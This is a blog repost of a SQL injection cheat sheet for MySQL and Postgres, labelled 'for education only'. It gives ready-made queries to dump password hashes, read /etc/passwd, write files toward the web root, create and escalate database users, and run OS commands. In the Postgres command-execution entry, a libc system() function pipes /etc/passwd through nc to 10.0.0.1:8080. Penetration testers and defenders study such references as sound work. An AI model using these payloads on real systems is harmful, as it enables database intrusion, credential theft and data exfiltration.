(for education only)
MySQL
Version
|
SELECT @@version
|
Comments
|
SELECT 1; #comment
SELECT /*comment*/1;
|
Current User
|
SELECT user();
SELECT system_user();
|
List Users
|
SELECT user FROM mysql.user; —
priv
|
List Password Hashes
|
SELECT host, user, password FROM
mysql.user; — priv
|
Password Cracker
|
John the Ripper
will crack MySQL password hashes.
|
List Privileges
|
SELECT grantee, privilege_type,
is_grantable FROM information_schema.user_privileges; — list user privs
SELECT host, user, Select_priv,
Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv,
Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv,
Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv,
Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM
mysql.user; — priv, list user privs
SELECT grantee, table_schema,
privilege_type FROM information_schema.schema_privileges; — list privs on
databases (schemas)
SELECT table_schema, table_name,
column_name, privilege_type FROM information_schema.column_privileges; — list
privs on columns
|
List DBA Accounts
|
SELECT grantee, privilege_type,
is_grantable FROM information_schema.user_privileges WHERE privilege_type =
‘SUPER’;
SELECT host, user FROM mysql.user
WHERE Super_priv = ‘Y’; # priv
|
Current Database
|
SELECT database()
|
List Databases
|
SELECT schema_name FROM
information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db
— priv
|
List Columns
|
SELECT table_schema, table_name,
column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND
table_schema != ‘information_schema’
|
List Tables
|
SELECT table_schema,table_name
FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema
!= ‘information_schema’
|
Find Tables From Column Name
|
SELECT table_schema, table_name
FROM information_schema.columns WHERE column_name = ‘username’; — find table
which have a column called ‘username’
|
Select Nth Row
|
SELECT host,user FROM user ORDER
BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER
BY host LIMIT 1 OFFSET 1; # rows numbered from 0
|
Select Nth Char
|
SELECT substr(’abcd’, 3, 1); #
returns c
|
Bitwise AND
|
SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
|
ASCII Value -> Char
|
SELECT char(65); # returns A
|
Char -> ASCII Value
|
SELECT ascii(’A'); # returns 65
|
Casting
|
SELECT cast(’1′ AS unsigned
integer);
SELECT cast(’123′ AS char);
|
String Concatenation
|
SELECT CONCAT(’A',’B'); #returns
AB
SELECT CONCAT(’A',’B',’C'); #
returns ABC
|
If Statement
|
SELECT if(1=1,’foo’,'bar’); —
returns ‘foo’
|
Case Statement
|
SELECT CASE WHEN (1=1) THEN ‘A’
ELSE ‘B’ END; # returns A
|
Avoiding Quotes
|
SELECT 0×414243; # returns ABC
|
Time Delay
|
SELECT
BENCHMARK(1000000,MD5(’A'));
SELECT SLEEP(5); # >= 5.0.12
|
Make DNS Requests
|
Impossible?
|
Command Execution
|
If mysqld (<5.0) is running as
root AND you compromise a DBA account you can execute OS commands by
uploading a shared object file into /usr/lib (or similar). The .so file
should contain a User Defined Function (UDF). raptor_udf.c
explains exactly how you go about this. Remember to compile for the target
architecture which may or may not be the same as your attack platform.
|
Local File Access
|
…’ UNION ALL SELECT
LOAD_FILE(’/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO
dumpfile ‘/tmp/somefile’; — priv, write to file system
|
Hostname, IP Address
|
Impossible?
|
Create Users
|
CREATE USER test1 IDENTIFIED BY
‘pass1′; — priv
|
Delete Users
|
DROP USER test1; — priv
|
Make User DBA
|
GRANT ALL PRIVILEGES ON *.* TO
test1@’%'; — priv
|
Location of DB files
|
SELECT @@datadir;
|
Default/System Databases
|
information_schema (>= mysql
5.0)
mysql
|
Postgres
Version
|
SELECT version()
|
Comments
|
SELECT 1; –comment
SELECT /*comment*/1;
|
Current User
|
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
|
List Users
|
SELECT usename FROM pg_user
|
List Password Hashes
|
SELECT usename, passwd FROM
pg_shadow — priv
|
Password Cracker
|
MDCrack
can crack PostgreSQL’s MD5-based passwords.
|
List Privileges
|
SELECT usename, usecreatedb,
usesuper, usecatupd FROM pg_user
|
List DBA Accounts
|
SELECT usename FROM pg_user WHERE usesuper
IS TRUE
|
Current Database
|
SELECT current_database()
|
List Databases
|
SELECT datname FROM pg_database
|
List Columns
|
SELECT relname, A.attname FROM
pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r')
AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND
(A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
|
List Tables
|
SELECT c.relname FROM
pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid =
c.relnamespace WHERE c.relkind IN (’r',”) AND n.nspname NOT IN (’pg_catalog’,
‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
|
Find Tables From Column Name
|
If you want to list all the table
names that contain a column LIKE ‘%password%’:
SELECT DISTINCT relname FROM
pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r')
AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND
(A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND
attname LIKE ‘%password%’;
|
Select Nth Row
|
SELECT usename FROM pg_user ORDER
BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
SELECT usename FROM pg_user ORDER
BY usename LIMIT 1 OFFSET 1;
|
Select Nth Char
|
SELECT substr(’abcd’, 3, 1); —
returns c
|
Bitwise AND
|
SELECT 6 & 2; — returns 2
SELECT 6 & 1; –returns 0
|
ASCII Value -> Char
|
SELECT chr(65);
|
Char -> ASCII Value
|
SELECT ascii(’A');
|
Casting
|
SELECT CAST(1 as varchar);
SELECT CAST(’1′ as int);
|
String Concatenation
|
SELECT ‘A’ || ‘B’; — returnsAB
|
If Statement
|
IF statements only seem valid
inside functions, so aren’t much use for SQL injection. See CASE statement
instead.
|
Case Statement
|
SELECT CASE WHEN (1=1) THEN ‘A’
ELSE ‘B’ END; — returns A
|
Avoiding Quotes
|
SELECT CHR(65)||CHR(66); — returns
AB
|
Time Delay
|
SELECT pg_sleep(10); — postgres
8.2+ only
CREATE OR REPLACE FUNCTION
sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ’sleep’ language ‘C’ STRICT;
SELECT sleep(10); –priv, create your own sleep function. Taken from here
.
|
Make DNS Requests
|
Generally not possible in
postgres. However if contrib/dblink is installed (it isn’t by default) it can be used to
resolve hostnames (assuming you have DBA rights):
SELECT * FROM
dblink(’host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT
version()’) RETURNS (result TEXT);
Alternatively, if you have DBA
rights you could run an OS-level command (see below) to resolve hostnames,
e.g. “ping pentestmonkey.net”.
|
Command Execution
|
CREATE OR REPLACE FUNCTION
system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ’system’ LANGUAGE ‘C’
STRICT; — priv
SELECT system(’cat /etc/passwd |
nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
|
Local File Access
|
CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; —
priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata
LIMIT 1 OFFSET 1; — get data back one row at a time
…’ UNION ALL SELECT t FROM mydata
LIMIT 1 OFFSET 2; — get data back one row at a time …
DROP TABLE mytest mytest;
Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES
(”);
COPY mytable (mycol) TO
‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you
won’t be able to write to the web root, but it’s always work a try.
|
Hostname, IP Address
|
SELECT inet_server_addr(); —
returns db server IP address (or null if using local connection)
SELECT inet_server_port(); —
returns db server IP address (or null if using local connection)
|
Create Users
|
CREATE USER test1 PASSWORD
‘pass1′; — priv
CREATE USER test1 PASSWORD ‘pass1′
CREATEUSER; — priv, grant some privs at the same time
|
Drop Users
|
DROP USER test1; — priv
|
Make User DBA
|
ALTER USER test1 CREATEUSER
CREATEDB; — priv
|
Location of DB files
|
SELECT
current_setting(’data_directory’); — priv
SELECT
current_setting(’hba_file’); — priv
|
Default/System Databases
|
template0
template1
|
No Response to "perintah cheat SQL (part 3) "MySQL", "Postgres""
Posting Komentar